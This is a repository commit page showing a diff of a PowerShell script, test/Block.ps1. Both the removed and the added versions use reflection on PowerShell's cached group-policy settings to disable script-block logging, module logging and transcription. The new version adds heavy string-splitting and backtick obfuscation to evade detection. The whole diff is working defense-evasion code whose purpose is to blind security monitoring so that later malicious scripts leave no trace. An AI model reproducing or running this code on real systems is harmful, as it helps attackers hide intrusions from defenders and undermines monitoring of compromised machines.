enotkrutoy commited on
Commit
e5076b6
·
verified ·
1 Parent(s): a7bdc34

Update test/Block.ps1

Browse files
Files changed (1) hide show
  1. test/Block.ps1 +11 -11
test/Block.ps1 CHANGED
@@ -1,12 +1,12 @@
1
- try {
2
- $key1 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
3
- $key2 = "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging"
4
- $key3 = "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\Transcription"
5
- $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings", "NonPublic,Static").GetValue($null)
6
- $settings[$key1] = @{}
7
- $settings[$key1].Add("EnableScriptBlockLogging", '0')
8
- $settings[$key2] = @{}
9
- $settings[$key2].Add("EnableModuleLogging", '0')
10
- $settings[$key3] = @{}
11
- $settings[$key3].Add("EnableTranscripting", '0')
12
  } catch { }
 
1
+ $JnQt8u =[TypE]("{1}{0}"-F 'ef','R'); try {
2
+ ${k`EY1} = ((("{16}{12}{9}{3}{8}{5}{11}{13}{18}{19}{7}{0}{2}{6}{15}{4}{1}{14}{10}{17}" -f'owsRjhP','Bloc','o','tw','llRjhScript','ciesRjhM','werSh','ind','areRjhPoli','f','ggi','i','INERjhSo','cr','kLo','e','HKEY_LOCAL_MACH','ng','osoftRj','hW')) -RepLace ([CHAR]82+[CHAR]106+[CHAR]104),[CHAR]92)
3
+ ${Ke`y2} = ((("{7}{5}{19}{17}{3}{10}{2}{1}{14}{11}{22}{20}{15}{0}{13}{16}{8}{6}{18}{12}{4}{21}{9}"-f'n','P','}','ACHINE{0}Softwa','uleL','EY_','r','HK','owe','ging','re{0','cies{0}','Mod','dows','oli','i','{0}P','L_M','Shell{0}','LOCA','osoft{0}W','og','Micr')) -f [CHar]92)
4
+ ${k`eY3} = ((("{15}{2}{13}{17}{12}{6}{0}{4}{10}{8}{3}{11}{14}{16}{5}{7}{9}{1}" -f 'cies{0}Micr','tion','0}SOFTWA','w','osoft{','}T','Node{0}Poli','rans','s{0}Po','crip','0}Window','e','432','RE{0}','rShell{','HKEY_LOCAL_MACHINE{','0','Wow6')) -F[cHar]92)
5
+ ${s`E`Tti`NgS} = $jnQT8U."a`SSEmb`Ly".("{2}{1}{0}" -f 'Type','t','Ge').Invoke(("{8}{2}{6}{0}{4}{7}{3}{1}{5}" -f'e','Ut','em.Mana','n.','ment.Automat','ils','g','io','Syst')).("{0}{1}{2}" -f'Ge','tFi','eld').Invoke(("{4}{0}{2}{1}{3}" -f'dGroup','olicyS','P','ettings','cache'), ("{2}{3}{1}{0}" -f 'c,Static','i','Non','Publ')).("{1}{0}"-f 'etValue','G').Invoke(${NU`lL})
6
+ ${SEttI`N`gs}[${Ke`Y1}] = @{}
7
+ ${se`TtIn`gs}[${k`Ey1}].("{0}{1}" -f'A','dd').Invoke(("{0}{2}{7}{6}{4}{5}{3}{1}" -f 'EnableS','ng','c','oggi','k','L','ptBloc','ri'), '0')
8
+ ${s`Etti`Ngs}[${kE`Y2}] = @{}
9
+ ${Sett`i`Ngs}[${K`ey2}].("{0}{1}" -f 'Ad','d').Invoke(("{0}{2}{3}{4}{1}"-f'Ena','ng','bleModu','le','Loggi'), '0')
10
+ ${s`Etti`NGS}[${KE`Y3}] = @{}
11
+ ${sEt`TinGs}[${KE`y3}].("{0}{1}"-f 'Ad','d').Invoke(("{5}{2}{4}{1}{0}{3}" -f 'scriptin','n','eT','g','ra','Enabl'), '0')
12
  } catch { }